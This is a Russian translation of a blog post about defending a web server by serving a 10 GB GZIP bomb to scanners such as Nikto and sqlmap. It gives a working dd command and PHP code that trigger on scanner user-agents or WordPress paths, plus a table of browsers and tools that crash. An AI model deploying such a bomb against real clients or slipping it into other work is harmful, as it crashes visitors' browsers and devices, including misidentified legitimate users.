- PVSM.RU - https://www.pvsm.ru -
[Обновление] Теперь я в каком-то списке спецслужб, потому что написал статью про некий вид «бомбы», так?
Если вы когда-нибудь хостили веб-сайт или администрировали сервер, то наверняка хорошо знаете о плохих людях, которые пытаются сделать разные плохие вещи с вашей собственностью.
Когда я в возрасте 13 лет впервые захостил свою маленькую Linux-коробочку с доступом по SSH, я смотрел логи и каждый день видел IP-адреса (в основном, из Китая и России), которые пытались подключиться к моей сладенькой маленькой коробочке (которая на самом деле была старым ноутом ThinkPad T21 со сломанным дисплеем, жужжавшим под кроватью). Я сообщал эти IP их провайдерам.
На самом деле если у вас Linux-сервер с открытым SSH, то можете сами посмотреть, сколько попыток подключений происходит ежедневно:
grep 'authentication failures' /var/log/auth.log
Сотни неудачных попыток авторизации, хотя на сервере вообще отключена авторизация по паролю и он работает на нестандартном порту
Ладно, признаем, сканеры веб-уязвимостей существовали и до WordPress, но после того, как эта платформа стала настолько популярной, большинство сканеров начали проверять неправильно сконфигурированные папки wp-admin
и непропатченные плагины.
Так что если маленькая начинающая хакерская банда хочет получить немного свеженьких учёток, они скачают один [1] из этих [2] сканерских инструментов [3] и натравят его на кучу веб-сайтов в надежде получить доступ к какому-нибудь сайту и дефейснуть [4] его.
Образец логов при сканировании инструментом Nikto
Вот почему все серверы и админы веб-сайтов имеют дело с гигабайтами логов, полными попыток сканирования. Так что я подумал…
После экспериментов с возможностью потенциального применения IDS [5] или Fail2ban [6] я вспомнил о старых добрых ZIP-бомбах из прошлого.
Как выяснилось, сжатие ZIP великолепно справляется с повторяющимися данными, так что если у вас имеется гигантский текстовый файл, заполненный повторяющимися данными вроде всех нулей, он очень хорошо сожмётся. В смысле, ОЧЕНЬ хорошо.
Как показал 42.zip [7], можно сжать 4,5 петабайта (4 500 000 гигабайт) в 42 килобайта. Когда вы попытаетесь посмотреть содержимое архива (извлечь или разархивировать его), то у вас, вероятно, израсходуется всё дисковое пространство или оперативная память.
К сожалению, веб-браузеры не понимают ZIP, но зато они понимают GZIP.
Так что первым делом создадим 10-гигибайтный файл GZIP, заполненный нулями. Можно сделать много вложенных сжатий, но начнём с простого.
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
Создание бомбы и проверка её размера
Как видите, её размер 10 МБ. Можно было сжать и получше, но пока хватит.
Теперь установим PHP-скрипт, который доставит её клиенту.
<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
Готово!
Теперь мы можем использовать её в качестве простой защиты:
<?php
$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}
function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($a, $b) {
return strpos($a, $b) === 0;
}
Очевидно, этот скрипт не образец элегантности, но он может защитить нас от скрипт-кидди, упомянутых раньше, которые вообще понятия не имеют, что в сканерах можно изменять user-agent.
Клиент | Результат |
---|---|
IE 11 | Память расходуется, IE падает |
Chrome | Память расходуется, демонстрируется ошибка |
Edge | Память расходуется, утекает, грузится вечно |
Nikto | Как будто нормально сканирует, но не выдаёт результат |
SQLmap | Большой расход памяти, затем падает |
Safari | Большой расход памяти, затем падает и перезагружается, затем опять большой расход памяти и так далее... |
Chrome (Android) | Память расходуется, демонстрируется ошибка |
(если вы проверяли бомбу на других устройствах/браузерах/скриптах, пожалуйста, сообщите мне [8], и я добавлю результат в таблицу)
Результат загрузки скрипта в Chrome
Если вам нравится рисковать, попробуйте сами [9]!
Автор: m1rko
Источник [10]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/259798
Ссылки в тексте:
[1] один: https://wpscan.org/
[2] этих: https://github.com/sullo/nikto
[3] инструментов: http://rgaucher.info/beta/grabber/
[4] дефейснуть: https://en.wikipedia.org/wiki/Website_defacement
[5] IDS: https://en.wikipedia.org/wiki/Intrusion_detection_system
[6] Fail2ban: https://en.wikipedia.org/wiki/Fail2ban
[7] 42.zip: http://www.unforgettable.dk/
[8] сообщите мне: https://twitter.com/geek_at
[9] попробуйте сами: https://blog.haschek.at/tools/bomb.php
[10] Источник: https://habrahabr.ru/post/332580/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.